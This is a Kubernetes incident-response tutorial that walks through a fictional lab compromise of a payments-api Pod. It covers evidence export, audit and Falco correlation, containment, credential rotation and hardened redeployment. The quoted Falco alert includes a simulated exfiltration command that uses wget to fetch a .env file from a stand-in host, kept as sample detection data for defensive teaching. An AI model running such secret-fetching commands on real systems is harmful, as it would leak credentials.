Kubernetes Incident Response and Forensics

This walkthrough follows one fictional incident on a kubeadm lab running Kubernetes 1.36.3. A Falco Terminal shell in container alert on payments-api in namespace ir-lab leads to audit evidence of Secret access, workload containment, node cordon, credential rotation, and a hardened redeploy from a pinned image digest.

Define roles before an incident

Assign roles and out-of-band contact paths before you need them. During an active incident, chat in the compromised cluster or application is not trustworthy.

Keep an offline runbook with escalation phone numbers, break-glass kubectl credentials, and jump-host SSH paths that do not depend on the cluster under investigation.

Preserve the initial alert

At 14:04 UTC the on-call engineer receives a Falco Notice from worker01:

rule: Terminal shell in container
priority: Notice
namespace: ir-lab
pod: payments-api-599fbc644c-gr65k
container: api
process: sh
user: curl_user
command: sh -c wget -qO- https://example.com/.env ... || echo simulated-exfil
image: quay.io/curl/curl:8.5.0
node: worker01

Verify that Falco's k8s_api_server macro matches the API server service IP and port used by this cluster. The Contact K8S API Server From Container rule relies on that macro and its allow-list exceptions.

Record the alert before you change the cluster:

Do not delete the Pod because the alert looks small. A shell in a payments namespace may be break-glass admin work or active compromise — scope first, then contain.

Determine scope

Answer these questions before containment changes blast radius.

List the Pod UID, node, ServiceAccount, and running image digest:

kubectl get pod -n ir-lab payments-api-599fbc644c-gr65k -o jsonpath='{.metadata.uid}{"\n"}{.spec.nodeName}{"\n"}{.spec.serviceAccountName}{"\n"}{.status.containerStatuses[0].imageID}{"\n"}'

cae46359-7f33-4e60-93ab-6f2c6961a837
worker01
payments-api
quay.io/curl/curl@sha256:de0d32e6d653e209581a85df0ff974a7a986e27057082361db31382807920d86

The Pod UID ties API audit events to this exact object even if the Pod name is reused later. The image digest shows which bytes actually ran.

Identify the owning controller:

kubectl get pod -n ir-lab payments-api-599fbc644c-gr65k -o jsonpath='{.metadata.ownerReferences[0].kind}{"/"}{.metadata.ownerReferences[0].name}{"\n"}'

ReplicaSet/payments-api-599fbc644c

Check whether the ServiceAccount can read sensitive API objects:

kubectl auth can-i get secrets/payments-api-token --as=system:serviceaccount:ir-lab:payments-api -n ir-lab

yes

Expand scope with these follow-up questions:

• Which Secrets and volumes are mounted into the Pod?
• Did the workload reach the Kubernetes API or external IPs?
• Are there other Pods with the same image digest or labels?
• Did any human identity run kubectl exec into this Pod?
• Is the node shared with production workloads?

Seconds after the shell alert, Falco reports Contact K8S API Server From Container on the same Pod — a runtime signal that the container reached the in-cluster API. Audit logs recorded the ServiceAccount Secret read about 14 minutes later at 14:18:29Z. Correlate both streams when you build the timeline.

Preserve Kubernetes evidence

Export API objects and events to a trusted directory outside the cluster. This lab writes to /var/tmp/ir-20260728-001 on the control-plane jump host.

INCIDENT_ID="ir-20260728-001"
EVIDENCE_DIR="/var/tmp/${INCIDENT_ID}"

install -d -m 700 "$EVIDENCE_DIR"
umask 077

date -u +'%Y-%m-%dT%H:%M:%SZ' \
  > "$EVIDENCE_DIR/collection-start.txt"

NS="ir-lab"
POD="payments-api-599fbc644c-gr65k"

POD_UID=$(
  kubectl get pod -n "$NS" "$POD" \
    -o jsonpath='{.metadata.uid}'
)

Capture the live Pod manifest and status:

kubectl get pod -n "$NS" "$POD" -o yaml \
  > "$EVIDENCE_DIR/pod.yaml"

Collect namespace events tied to this Pod instance:

kubectl get events -n "$NS" \
  --field-selector "involvedObject.uid=${POD_UID}" \
  -o yaml > "$EVIDENCE_DIR/events.yaml"

Export ServiceAccount, Role, RoleBinding, and Secret metadata:

kubectl get sa payments-api -n "$NS" -o yaml \
  > "$EVIDENCE_DIR/sa.yaml"

kubectl get role,rolebinding -n "$NS" -o yaml \
  > "$EVIDENCE_DIR/rbac.yaml"

kubectl get secret payments-api-token \
  -n "$NS" \
  -o json |
  jq 'del(
    .data,
    .stringData,
    .metadata.managedFields
  )' > "$EVIDENCE_DIR/secret-metadata.json"

Base64 encoding does not make Secret values non-sensitive. Kubernetes deliberately hides Secret contents from normal get and describe output to reduce accidental disclosure. If the Secret payload itself is required as evidence, export it as a separately classified sensitive artifact into encrypted storage. Do not include it in the ordinary evidence bundle or incident ticket.

Also preserve owner resources, NetworkPolicy objects, admission webhook configuration, and node conditions:

kubectl get deployment,rs,svc,networkpolicy -n "$NS" -o yaml \
  > "$EVIDENCE_DIR/workload-graph.yaml"

kubectl describe node worker01 \
  > "$EVIDENCE_DIR/node-worker01.txt"

If the Pod is still running, capture current and previous container logs from the API before you scale down:

kubectl logs -n "$NS" "$POD" --all-containers \
  > "$EVIDENCE_DIR/container-logs.txt"

kubectl logs -n "$NS" "$POD" --previous --all-containers \
  > "$EVIDENCE_DIR/container-logs-previous.txt" 2>/dev/null || true

Preserve audit and runtime evidence

API audit logs and node runtime tools fill gaps that kubectl alone cannot.

Filter audit.log for Secret access in ir-lab:

jq -c '
  select(
    .objectRef.namespace == "ir-lab" and
    .objectRef.resource == "secrets"
  )
  | {
      time: .requestReceivedTimestamp,
      user: .user.username,
      verb: .verb,
      name: .objectRef.name,
      code: .responseStatus.code
    }
' /var/log/kubernetes/audit/audit.log | tail -5

{"time":"2026-07-28T14:18:29.294858Z","user":"system:serviceaccount:ir-lab:payments-api","verb":"get","name":"payments-api-token","code":200}

Filter exec activity separately:

jq -c '
  select(
    .objectRef.namespace == "ir-lab" and
    .objectRef.resource == "pods" and
    .objectRef.subresource == "exec"
  )
  | {
      time: .requestReceivedTimestamp,
      user: .user.username,
      verb: .verb,
      pod: .objectRef.name,
      code: .responseStatus.code
    }
' /var/log/kubernetes/audit/audit.log | tail -5

{"time":"2026-07-28T14:18:29.063317Z","user":"kubernetes-admin","verb":"get","pod":"payments-api-599fbc644c-gr65k","code":101}
{"time":"2026-07-28T14:18:29.063317Z","user":"kubernetes-admin","verb":"get","pod":"payments-api-599fbc644c-gr65k","code":101}

The ServiceAccount read of payments-api-token at 14:18:29Z confirms credential access about 14 minutes after the 14:04 Falco shell alert. The kubernetes-admin exec record shows who attached the shell used in testing — in production, attribute every exec to a human or automation identity.

On the node where the Pod ran, resolve the container from the investigated Pod and collect runtime evidence before the container disappears:

NODE=$(
  kubectl get pod -n "$NS" "$POD" \
    -o jsonpath='{.spec.nodeName}'
)

NODE_IP=$(
  kubectl get node "$NODE" \
    -o jsonpath='{.status.addresses[?(@.type=="InternalIP")].address}'
)

POD_SANDBOX_ID=$(
  ssh "root@${NODE_IP}" \
    "crictl pods --name '${POD}' -q | head -1"
)

CID=$(
  ssh "root@${NODE_IP}" \
    "crictl ps -a --pod '${POD_SANDBOX_ID}' --name api -q | head -1"
)

test -n "$CID" || {
  echo "Container ID not found" >&2
  exit 1
}

Preserve complete output instead of a grep excerpt:

ssh "root@${NODE_IP}" \
  "crictl inspect '${CID}'" \
  > "$EVIDENCE_DIR/crictl-inspect-api.json"

ssh "root@${NODE_IP}" \
  "crictl logs '${CID}'" \
  > "$EVIDENCE_DIR/crictl-logs-api.txt" 2>&1

ssh "root@${NODE_IP}" \
  "journalctl --since '2026-07-28 13:55:00 UTC' \
              --until '2026-07-28 14:30:00 UTC' \
              -u containerd -u kubelet --utc" \
  > "$EVIDENCE_DIR/node-runtime-journal.txt"

crictl is intended for inspecting CRI runtimes and supports filtering runtime objects before inspection.

Before you hash the evidence directory, export the audit window and Falco journal from the affected node:

jq -c '
  select(
    .requestReceivedTimestamp >= "2026-07-28T13:55:00Z" and
    .requestReceivedTimestamp <= "2026-07-28T14:30:00Z" and
    (
      .objectRef.namespace == "ir-lab" or
      .user.username == "system:serviceaccount:ir-lab:payments-api"
    )
  )
' /var/log/kubernetes/audit/audit.log \
  > "$EVIDENCE_DIR/audit-ir-lab.jsonl"

ssh "root@${NODE_IP}" \
  "journalctl -u falco \
     --since '2026-07-28 13:55:00 UTC' \
     --until '2026-07-28 14:30:00 UTC' \
     --utc --no-pager" \
  > "$EVIDENCE_DIR/falco-worker01.log"

When Falco writes JSON to a dedicated file or SIEM, export that original JSON instead of relying only on formatted journal text. Kubernetes recommends protecting and archiving audit records because they are used for analysis after a compromise.

Checksum exported files and record hashes in the incident ticket:

find "$EVIDENCE_DIR" \
  -maxdepth 1 \
  -type f \
  ! -name SHA256SUMS \
  -print0 |
  sort -z |
  xargs -0 sha256sum \
  > "$EVIDENCE_DIR/SHA256SUMS"

chmod -R a-w "$EVIDENCE_DIR"

a2def64ddc67bca7c569e196455692cec46c00dfe9044da1ddd546d5655d3621  /var/tmp/ir-20260728-001/audit-ir-lab.jsonl
fd0bd4bf88f72a45e0f01acd1fb7ce9c259dcb67412d48c0afa8b8a7bcce60b2  /var/tmp/ir-20260728-001/collection-start.txt
19c4e28b2f54ea8f217db4e622b0a5c758efa7b77ce2dc0394b6d159568c0b2e  /var/tmp/ir-20260728-001/falco-worker01.log
5042b45866b02e72e17cc934dd55b43e73859c675ecb448b25605b046e07e709  /var/tmp/ir-20260728-001/crictl-inspect-api.json

Work from copies after hashing. Keep the original export read-only.

Minimize evidence modification

Prefer API and host-side inspection over repeated exec into the suspected container. Each kubectl exec starts new processes, changes timestamps, and may overwrite temp files inside the container filesystem.

When exec is unavoidable, record the exact command, time, and operator in the incident log.

Reconstruct the timeline

Normalize all sources to UTC and note clock skew between nodes, workstations, and SIEM ingestion delays.

14:04:39Z  Falco: Terminal shell in container (payments-api, worker01)
14:04:41Z  Falco: Contact K8S API Server From Container
14:18:29Z  Audit: system:serviceaccount:ir-lab:payments-api GET secret/payments-api-token → 200
14:18:29Z  Audit: kubernetes-admin pods/exec → 101 (websocket)
14:19:00Z  IR: evidence exported to /var/tmp/ir-20260728-001, checksum recorded
14:19:10Z  IR: NetworkPolicy deny-all applied; Deployment scaled to zero
14:19:20Z  IR: worker01 cordoned; Secret rotated
14:19:25Z  IR: payments-api-reader-binding removed; auth can-i returns no
14:21:00Z  Recovery: smoke-test Deployment redeployed from new agnhost digest

Map stages to the attack lifecycle:

Initial access → workload execution → credential access → API movement → detection → containment → eradication → recovery

Gaps in the timeline become follow-up tasks. If you cannot explain how the shell started, inspect CI deploy logs, image history, and recent RBAC changes.

Identify compromised identities

Review every identity that could have been used during the incident window.

In this lab, the ServiceAccount had a narrow Role to read one Secret — still enough for credential theft if the token escapes the Pod. Rotate it even if you only suspect exposure.

Contain the workload

Choose the least destructive control that stops active risk.

Block network traffic

A default-deny NetworkPolicy stops new connections while you preserve the Pod for export:

apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: ir-contain-payments-api
  namespace: ir-lab
spec:
  podSelector:
    matchLabels:
      app: payments-api
  policyTypes:
  - Ingress
  - Egress
  ingress: []
  egress: []

Confirm the suspicious Pod matches the selector before you apply the policy:

kubectl get pod -n "$NS" "$POD" --show-labels

kubectl get pods -n "$NS" \
  -l app=payments-api \
  -o custom-columns='NAME:.metadata.name,UID:.metadata.uid,NODE:.spec.nodeName'

NAME                            UID                                    NODE
payments-api-599fbc644c-gr65k   cae46359-7f33-4e60-93ab-6f2c6961a837   worker01

kubectl apply -f ir-contain-payments-api.yaml

networkpolicy.networking.k8s.io/ir-contain-payments-api created

kubectl get networkpolicy \
  -n "$NS" \
  ir-contain-payments-api \
  -o yaml

NetworkPolicy containment works only when the cluster CNI enforces NetworkPolicy. Whether a newly applied deny policy terminates already-established connections is implementation-defined. During active exfiltration, also block traffic using a CNI-specific endpoint control, node firewall, cloud security group, or upstream network device. Kubernetes requires a supporting network plugin, and the effect on existing connections is explicitly implementation-defined.

Stop new execution

Scale the Deployment to zero after evidence export:

kubectl scale deployment payments-api -n ir-lab --replicas=0

deployment.apps/payments-api scaled

Other containment options include suspending a CronJob, removing Service exposure, revoking RBAC, disabling the cloud account, or blocking the image digest at admission time. Preserve a forensic copy of the Pod YAML and node disk snapshot before you delete objects if your policy requires it.

Contain the node

When host compromise is possible — rootkit indicators, unexpected kubelet flags, or kernel module loads — treat the node as untrusted.

Mark the node unschedulable:

kubectl cordon worker01

node/worker01 cordoned

kubectl get node worker01

NAME       STATUS                     ROLES    AGE   VERSION
worker01   Ready,SchedulingDisabled   <none>   21h   v1.36.3

Decide carefully before you drain a suspect node. Draining moves Pods elsewhere; if the node is hostile, rescheduling workloads can spread access. In this lab the cordon prevented new Pods from landing on worker01 while the team collected crictl data.

On confirmed host compromise:

1. Restrict node network access at the firewall or cloud security group.
2. Block new credentials from being issued to the instance.
3. Preserve disk and memory evidence per your forensic standard.
4. Replace the node rather than “cleaning” it in place when trust cannot be restored.

Rotate exposed credentials

Rotate credentials that the suspect Pod or identity could reach, even before you prove exfiltration.

Replace the application Secret with a cryptographically random value:

TOKEN_FILE=$(mktemp)
chmod 600 "$TOKEN_FILE"

openssl rand -hex 32 > "$TOKEN_FILE"

kubectl create secret generic payments-api-token \
  -n "$NS" \
  --from-file=token="$TOKEN_FILE" \
  --dry-run=client \
  -o yaml |
  kubectl apply -f -

shred -u "$TOKEN_FILE"

secret/payments-api-token configured

Kubernetes supports creating Secrets from local files; this avoids placing the credential directly in the documented command line.

Modern projected ServiceAccount tokens are short-lived and bound to the Pod. Scaling the compromised Deployment to zero deletes the Pod and invalidates its bound token. Kubernetes cannot revoke one arbitrary TokenRequest token centrally. To invalidate all tokens issued for the ServiceAccount before expiry, delete and recreate the ServiceAccount, which changes its UID. Delete the corresponding Secret only for legacy long-lived Secret-based tokens.

Also plan rotation for:

• ServiceAccount token Secrets only for legacy long-lived tokens
• Client certificates in ~/.kube/config and CI systems
• Registry pull credentials and cloud database passwords
• API tokens stored in external secret managers
• Encryption keys if the workload could read KMS or sealed-secrets material

Update downstream consumers with the new Secret version before you declare recovery complete.

Eradicate root cause

Match eradication to what the evidence shows. In this fictional incident, likely root causes include excessive RBAC, missing NetworkPolicy, a mutable image tag, unaudited kubectl exec, and missing admission controls.

After you preserve RBAC objects in $EVIDENCE_DIR, remove the grant that let the ServiceAccount read the Secret:

kubectl get rolebinding -n "$NS" -o json |
  jq -r '
    .items[]
    | select(
        any(
          .subjects[]?;
          .kind == "ServiceAccount" and
          .name == "payments-api" and
          .namespace == "ir-lab"
        )
      )
    | [.metadata.name, .roleRef.kind, .roleRef.name]
    | @tsv
  '

payments-api-reader-binding	Role	payments-api-reader

kubectl delete rolebinding payments-api-reader-binding -n "$NS"

Verify that the permission is gone:

kubectl auth can-i get secrets/payments-api-token \
  --as=system:serviceaccount:ir-lab:payments-api \
  -n "$NS"

no

kubectl auth can-i is the supported way to verify an impersonated ServiceAccount's effective authorization. Kubernetes also recommends granting ServiceAccounts only the minimum permissions they require. For an application that genuinely needs this Secret, replace the removed grant with a narrower delivery mechanism or a carefully reviewed least-privilege Role rather than leaving the permission unexplained.

Remediation tasks might include tightening RBAC, requiring immutable digest deploys, enabling Pod Security Standards, scanning images in CI, and adding exec approval workflows.

Redeploy from trusted sources

Rebuild and redeploy only from known-good artifacts:

• Trusted Git commit reviewed and merged
• Fresh CI build with vulnerability scan and SBOM
• New image digest recorded
• Cosign signature verified where used
• Manifest reviewed and admitted by policy
• New Secret versions mounted
• Clean node or replaced node pool

Apply a hardened recovery smoke test with a new digest-pinned public image — not the digest collected from the suspected workload. This lab uses registry.k8s.io/e2e-test-images/agnhost, which supports sleep as a diagnostic command and validates recovery controls; it is not the payments application:

apiVersion: apps/v1
kind: Deployment
metadata:
  name: payments-api
  namespace: ir-lab
spec:
  replicas: 1
  selector:
    matchLabels:
      app: payments-api
  template:
    metadata:
      labels:
        app: payments-api
    spec:
      automountServiceAccountToken: false
      securityContext:
        runAsNonRoot: true
        runAsUser: 1000
        runAsGroup: 1000
        seccompProfile:
          type: RuntimeDefault
      containers:
      - name: api
        image: registry.k8s.io/e2e-test-images/agnhost@sha256:2c5b5b056076334e4cf431d964d102e44cbca8f1e6b16ac1e477a0ffbe6caac4
        command: ["sleep", "3600"]
        securityContext:
          allowPrivilegeEscalation: false
          readOnlyRootFilesystem: true
          capabilities:
            drop: ["ALL"]

Pinning makes bytes immutable; it does not prove those bytes are trusted. Digests identify exact image content, while new application code requires building and deploying a new image from your registry. In production, replace the agnhost image with <trusted-registry>/payments-api@sha256:<new-reviewed-build-digest>, its real command, and a readiness probe before you claim application recovery.

automountServiceAccountToken: false is appropriate for this smoke-test Pod because it only runs sleep 3600 and does not need Kubernetes API access. For an actual application that requires API access, retain a dedicated ServiceAccount only after reducing and verifying its RBAC permissions.

kubectl apply -f payments-api-recovery.yaml

deployment.apps/payments-api created

Remove temporary containment policies that block legitimate traffic after you validate the new Pod.

Uncordon the node only when you trust it again:

kubectl uncordon worker01

Validate recovery

Confirm the cluster is healthy and the incident behavior stopped.

kubectl wait --for=condition=available deployment/payments-api -n ir-lab --timeout=120s

deployment.apps/payments-api condition met

Verify the running image digest matches the approved build:

kubectl get pod -n ir-lab -l app=payments-api -o jsonpath='{.items[0].status.containerStatuses[0].imageID}{"\n"}{.items[0].status.phase}{"\n"}'

registry.k8s.io/e2e-test-images/agnhost@sha256:2c5b5b056076334e4cf431d964d102e44cbca8f1e6b16ac1e477a0ffbe6caac4
Running

The running digest differs from the compromised quay.io/curl/curl@sha256:de0d32… image collected during scope analysis.

Checklist before you close the incident:

• No new Falco alerts on the recovered workload during the observation window
• Audit logging still writes to the protected path
• Rotated Secrets in use; old tokens revoked
• Approved digest running; mutable tag not referenced in manifests
• NetworkPolicies match the intended posture
• No unexpected CronJob, RoleBinding, or persistence objects in ir-lab
• Nodes Ready; cordon removed only on trusted hosts
• Application owner signs off on functional tests

Lessons learned

Record these items within five business days while memory is fresh:

Store the retrospective where the platform team can find it during the next incident.

Troubleshooting

References

• Kubernetes documentation — Good practices for Kubernetes Secrets
• NSA and CISA Kubernetes Hardening Guidance
• MITRE ATT&CK — Containers
• Falco documentation
• Kubernetes audit logging

Summary

You walked through a defensible Kubernetes incident sequence: preserve the initial Falco alert, determine scope with Pod UID, ServiceAccount, image digest, and RBAC, export Kubernetes and runtime evidence with checksums, and build a UTC timeline that correlates syscall alerts with audit records of Secret access.

Containment combined a deny-all NetworkPolicy, scaling the Deployment to zero, and cordoning the suspect node without automatically rescheduling untrusted workloads onto healthy hardware. Credential rotation, RBAC binding removal, and eradication addressed the exposed Secret and excessive ServiceAccount permissions, then recovery redeployed a digest-pinned diagnostic smoke test — not the compromised image digest.

Falco tells you what happened inside the node; audit logs tell you who called the API. Neither replaces the other, and neither blocks attacks without paired preventive controls. Run this workflow in a lab, adapt it to your org’s roles and tooling, and keep detection enabled before you need it.